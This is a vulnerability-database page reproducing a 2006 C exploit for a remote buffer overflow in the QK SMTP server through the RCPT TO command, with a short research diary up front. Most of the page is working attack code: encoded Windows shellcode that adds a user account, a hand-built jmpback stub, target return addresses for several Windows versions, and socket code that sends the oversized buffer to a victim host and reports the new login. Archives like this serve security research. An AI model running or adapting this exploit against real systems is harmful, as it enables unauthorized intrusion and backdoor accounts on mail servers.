Lucene search
K

QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit by Greg Linares. Exploit uses venetian technique and ADD USER shellcode. Vendor informed and released version 3.10b. RETcode type: POINTER TO [ESP

Code

                                                /*
       _______         ________           .__        _____          __
___  __\   _  \   ____ \_____  \          |  |__    /  |  |   ____ |  | __
\  \/  /  /_\  \ /    \  _(__  &#60;   ______ |  |  \  /   |  |__/ ___\|  |/ /
 &#62;    &#60;\  \_/   \   |  \/       \ /_____/ |   Y  \/    ^   /\  \___|    &#60;
/__/\_ \\_____  /___|  /______  /         |___|  /\____   |  \___  &#62;__|_ \
      \/      \/     \/       \/   25\10\06    \/      |__|      \/     \/
      
 *   mm.           dM8
 *  YMMMb.       dMM8      _____________________________________
 *   YMMMMb     dMMM&#39;     [                                     ]
 *    `YMMMb   dMMMP      [ There are doors I have yet to open  ]
 *      `YMMM  MMM&#39;       [ windows I have yet to look through  ]
 *         &#34;MbdMP         [ Going forward may not be the answer ]
 *     .dMMMMMM.P         [                                     ]
 *    dMM  MMMMMM         [       maybe I should go back        ]
 *    8MMMMMMMMMMI        [_____________________________________]
 *     YMMMMMMMMM                   www.netbunny.org
 *       &#34;MMMMMMP
 *      MxM .mmm
 *      W&#34;W &#34;&#34;&#34;

[i] Title:              QK SMTP &#60;= 3.01 RCPT-TO Buffer Overflow Exploit
[i] Discovered by:      Greg Linares
[i] Exploit by:         Expanders  -  expanders [aaat] gmail [dooot] com
[i] References:         http://www.securityfocus.com/bid/20681   ---   http://www.qksoft.com/
[i] Greatings:          x0n3-h4ck - netbunny

[ Research diary ]

Ok.. I&#39;m ready to write some lines about this exploit..
I&#39;ve encountered some problems during development:
     ESI and ESP points to our buffer, in a memory location that will be contaminated with some bytes after
     storing our data. result: I coulnt put shellcode directly here because it will be changed.
     So i had to write a short jmpback unicode-proof shellcode using venetian tecnique.
     
     Because of some unknown reasons i was not able to get a socket-based shellcode working..
     in this exploit I use an ADD USER shellcode.


[ Timeline ]

Vendor has been informed and version 3.10b has been released.

[ Notes ]

RETcode type: POINTER TO [ESP]
To improve realiability you can search your own RETcodes..

[ Documentation ]

Venetian exploit: http://www.net-security.org/dl/articles/unicodebo.pdf
Skylined Alpha2 : www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php

[ Special Thanks ]

Skylined
H D Moore
Greg Linares


[ Links ]

www.x0n3-h4ck.org
www.netbunny.org



*/

#include &#60;stdio.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netdb.h&#62;
#include &#60;unistd.h&#62;

// You may want to change this, is the user and the password of shellcode added user
#define NETADD_USER &#34;x0n3&#34;
#define NETADD_PASS &#34;h4ck&#34;

// Exploit internal constant, change only if you know what you are doing
#define HELO &#34;EHLO\r\n&#34;
#define MAIL_FROM &#34;MAIL FROM: &#60;[email protected]&#62;\r\n&#34;
#define BUGSTR &#34;RCPT TO: %[email protected]&#62;\r\n&#34;
#define BUFFSIZE 10000
#define SC_MAX_SIZE 800
#define MAX_ENCODED_LEN 100

// Offsets
#define RET_OFFSET       296
#define JMPBACK_OFFSET   4089
#define SHELLCODE_OFFSET 2524

int encode_alphanum(unsigned char *src,unsigned char *dest,int len);
int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );


// win32 ADD user un-encoded shellcode taken from metasploit [ tnx hdm & vlas902 ]
// encoded using Skylined alpha2 tool
char alphanum_shellcode[] =
        // Skylined&#39;s alpha2 unicode decoder
        &#34;PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABA&#34;
        &#34;BABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB&#34;
        // Encoded opcodes
        &#34;ylzHOTM0KPkP2kQ5OL2kQlKUt8kQzOtK0On82k1OO0KQ8kpIDKoDTKKQXnnQ7P4Y4lU4upptm7i1WZLM&#34;
        &#34;kQWRJKJTMkpTLdzdt59UdKooktkQzKOv4KlLNkDKooMLyqZKBkMLRkzajKQyQLmTM45sNQUpotRkmplp&#34;
        &#34;tEupQhlLBkoPlLRkRPKlvMRkoxjhzKKYtKqpFPkPm0KPbkphMlaOlqhvqPPVriJXCS5pCKNpOxJO8Nk0&#34;
        &#34;C0c8eHKNqzznPW9oyW1SBMotnNaUQhaUkpNOpckpRNOuqdmPRUpsqUPrmP%skp%s&#34;
        &#34;mPnOQ1OTNdo0mVMVMPpnOurTMP0lBOqS31PlC7prpobU0pkpoQotPmoyPn1YT3ptT2aQPtpo1bBSkp%s&#34;
        &#34;MPNOOQa4oTkPA&#34;;


//  Fully customizable UNICODE-PROOF jmpback shellcode
//  Written with venetian tecnique to jmpback as more as possible using as less as possible bytes
//  Note that \x73 is &#34;add byte ptr [ebx],dh&#34;, ebx point to a useless but writable location so
//  we can use this instruction as a unicode NOP to realign with our next instruction
unsigned char jmpback[] =
        &#34;\x50\x73&#34; // push eax  |
        &#34;\x54\x73&#34; // push esp  |  Workaroung for &#34;xchg eax,esp&#34; cos 0x96 is filtered
        &#34;\x58\x73&#34; // pop eax   |____
        &#34;\xB0&#34; //  mov al,0x0   |  Set last eax byte to zero..
        &#34;\x48\x73&#34; // dec ax    |  ..and next we decrement eax
        &#34;\xB0\x48\x73&#34;
        &#34;\xB0\x48\x73&#34;  //      |  Again...
        &#34;\xB0\x48\x73&#34;  //      |  ...and angain
        &#34;\xB0\x48\x73&#34;
        &#34;\xB0\x48\x73&#34;  //      |  every time it substract 0xFF to eax
        &#34;\xB0\x48\x73&#34;
        &#34;\xB0\x48\x73&#34;
        &#34;\xB0\x48\x73&#34;
        &#34;\xB0\x48\x73&#34;
        &#34;\xB0\x48\x73&#34;
        &#34;\xB0\x48\x73&#34;
        &#34;\xB0\x48\x73&#34;
        &#34;\x48\x73&#34;//            |  eax is aligned to the shellcode
        &#34;\x50\x73&#34; //  push eax
        &#34;\xC3\x73&#34;; // retn

        //&#34;\x50\x73\xBA\xAA\xAA\x73\x52\x73\xC3\x73&#34;;   // push eax = 0xAA00AA00 and retn !!DEBUG!!


struct retcodes{char *platform;unsigned long addr;} targets[]= {
    { &#34;Windows NT Universal&#34;, 0x77cec080 },   // shell32.dll push esp, ret  [Tnx to metasploit]
	{ &#34;Windows 2k SP 4&#34;     , 0x75031dce },   // ws2_32.dll push esp, ret   [Tnx to metasploit]
	{ &#34;Windows XP SP 0/1&#34;   , 0x71ab7bfb },   // ws2_32.dll jmp esp         [Tnx to metasploit]
    { &#34;Windows XP SP 2 ENG&#34; , 0x71ab9372 },   // ws2_32.dll push esp, ret   [Tnx to metasploit]
	{ &#34;Windows XP SP 2 ITA&#34; , 0x77D92CFC },   // user32.dll jmp esp
	{ NULL }
};
int banner() {
  printf(&#34;\n       _______         ________           .__        _____          __     \n&#34;);
  printf(&#34;___  __\\   _  \\   ____ \\_____  \\          |  |__    /  |  |   ____ |  | __ \n&#34;);
  printf(&#34;\\  \\/  /  /_\\  \\ /    \\  _(__  &#60;   ______ |  |  \\  /   |  |__/ ___\\|  |/ / \n&#34;);
  printf(&#34; &#62;    &#60;\\  \\_/   \\   |  \\/       \\ /_____/ |   Y  \\/    ^   /\\  \\___|    &#60;  \n&#34;);
  printf(&#34;/__/\\_ \\\\_____  /___|  /______  /         |___|  /\\____   |  \\___  &#62;__|_ \\ \n&#34;);
  printf(&#34;      \\/      \\/     \\/       \\/               \\/      |__|      \\/     \\/ \n\n&#34;);
  printf(&#34;[i] Title:        \tQK SMTP Remote RCPT-TO Buffer overflow\n&#34;);
  printf(&#34;[i] Discovered by:\tGreg Linares\n&#34;);
  printf(&#34;[i] Exploit by:   \tExpanders\n\n&#34;);
  return 0;
}

int usage(char *filename) {
  int i;
  printf(&#34;Usage: \t%s &#60;host&#62; &#60;port&#62; &#60;targ&#62;\n\n&#34;,filename);
  printf(&#34;       \t&#60;host&#62;   : Victim&#39;s host\n&#34;);
  printf(&#34;       \t&#60;port&#62;   : Victim&#39;s port  ::  Default: 25\n&#34;);
  printf(&#34;       \t&#60;targ&#62;   : Target from the list below\n\n&#34;);
  
  printf(&#34;#   \t Platform\n&#34;);
  printf(&#34;-----------------------------------------------\n&#34;);
  for(i = 0; targets[i].platform; i++)
        printf(&#34;%d \t %s\n&#34;,i,targets[i].platform);
  printf(&#34;-----------------------------------------------\n&#34;);
  exit(0);
}


int remote_connect( char* ip, unsigned short port )
{
  int s;
  struct sockaddr_in remote_addr;
  struct hostent* host_addr;

  memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
  if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
  {
   printf ( &#34;[X] Cannot resolve \&#34;%s\&#34;\n&#34;, ip );
   exit ( 1 );
  }
  remote_addr.sin_family = AF_INET;
  remote_addr.sin_port = htons ( port );
  remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr-&#62;h_addr );
  if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) &#60; 0 )
  {
   printf ( &#34;[X] Socket failed!\n&#34; );
   exit ( 1 );
  }
  if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
  {
   printf ( &#34;[X] Failed connecting!\n&#34; );
   exit ( 1 );
  }
  return ( s );
}

int main(int argc, char *argv[]) {
    int s,position;
    char encoded_user[MAX_ENCODED_LEN];
    char encoded_pass[MAX_ENCODED_LEN];
    unsigned int rcv;
    char *buffer,*request;
    char recvbuf[256];
    char shellcode[SC_MAX_SIZE];
    banner();
    if( (argc != 4) || (atoi(argv[2]) &#60; 1) || (atoi(argv[2]) &#62; 65534) )
        usage(argv[0]);
    printf(&#34;[+] Target OS is: %s\n&#34;,targets[atoi(argv[3])].platform);
    printf(&#34;[+] Creating evil buffer...&#34;);
    fflush(stdout);
    buffer = (char *) malloc(BUFFSIZE);
    request = (char *) malloc(BUFFSIZE + strlen(BUGSTR));
    memset(buffer,0x73,BUFFSIZE);  // Fill with unicode nops
    memset(buffer+4000,0x45,1000);
    encode_alphanum(encoded_user,NETADD_USER,strlen(NETADD_USER));
    encode_alphanum(encoded_pass,NETADD_PASS,strlen(NETADD_PASS));
    sprintf(shellcode,alphanum_shellcode,encoded_user,encoded_pass,encoded_user);
    memcpy(buffer+RET_OFFSET,&targets[atoi(argv[3])].addr,4);
    memcpy(buffer+SHELLCODE_OFFSET,shellcode,strlen(shellcode));
    memcpy(buffer+JMPBACK_OFFSET,jmpback,strlen(jmpback));
    memset(buffer+4500,0x00,1);
    printf(&#34;done\n&#34;);
    printf(&#34;[+] Connecting to remote host\n&#34;);
    s = remote_connect(argv[1],atoi(argv[2]));
    //rcv=recv(s,recvbuf,256,0);
    if((rcv = recv(s,recvbuf,256,0)) &#60; 0)
    {
     printf(&#34;\n[X] Error while recieving banner!\n&#34;);
     exit( 1 );
    }
    if (strstr(recvbuf,&#34;QK SMTP&#34;)!=0)
    {
     sleep(1);
     sprintf(request,&#34;%s&#34;,HELO);
     printf(&#34;[+] Sending EHLO\n&#34;);
     if ( send ( s, request, strlen(request), 0) &#60;= 0 )
     {
            printf(&#34;[X] Failed to send buffer\n&#34;);
            exit ( 1 );
     }
     sleep(1);
     sprintf(request,&#34;%s&#34;,MAIL_FROM);
     printf(&#34;[+] Sending MAIL FROM\n&#34;);
     if ( send ( s, request, strlen(request), 0) &#60;= 0 )
     {
            printf(&#34;[X] Failed to send buffer\n&#34;);
            exit ( 1 );
     }
     sleep(1);
     sprintf(request,BUGSTR,buffer);
     printf(&#34;[+] Sending EXPLOIT\n&#34;);
     if ( send ( s, request, strlen(request), 0) &#60;= 0 )
     {
            printf(&#34;[X] Failed to send buffer\n&#34;);
            exit ( 1 );
     }
     sleep(1);
     printf(&#34;[+] Done - New account should have been added:\n&#34;);
     printf(&#34;[i] LOGIN:\t%s\n&#34;,NETADD_USER);
     printf(&#34;[i] PASSWORD:\t%s\n&#34;,NETADD_PASS);
     printf(&#34;[+] Exploit now hangs up. see ya.\n\n&#34;);
    } else
     printf(&#34;[X] This server is not running QK SMTP\n&#34;);
    close(s);
    free(buffer);
    free(request);
    return 0;
}

// Ripped from Skylined&#39;s alpha2.c
int encode_alphanum(unsigned char *dest,unsigned char *src,int len){
  char dump[2];
  int   i,n, input, A, B, C, D, E, F;
  char* valid_chars;
  struct timeval tv;
  struct timezone tz;
  memset(dest,0x00,MAX_ENCODED_LEN);
  gettimeofday(&tv, &tz);
  srand((int)tv.tv_sec*1000+tv.tv_usec);
  valid_chars = &#34;0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#34;;
  for(n=0;n&#60;len;n++) {
    input = src[n];
    A = (input & 0xf0) &#62;&#62; 4;
    B = (input & 0x0f);
    F = B;
    i = rand() % strlen(valid_chars);
    while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
    E = valid_chars[i] &#62;&#62; 4;
    D = (A-E) & 0x0f;
    i = rand() % strlen(valid_chars);
    while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
    C = valid_chars[i] &#62;&#62; 4;
    sprintf(dump,&#34;%c%c&#34;, (C&#60;&#60;4)+D, (E&#60;&#60;4)+F);
    strcat(dest,dump);
  }
  return 0;
}

// milw0rm.com [2006-10-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation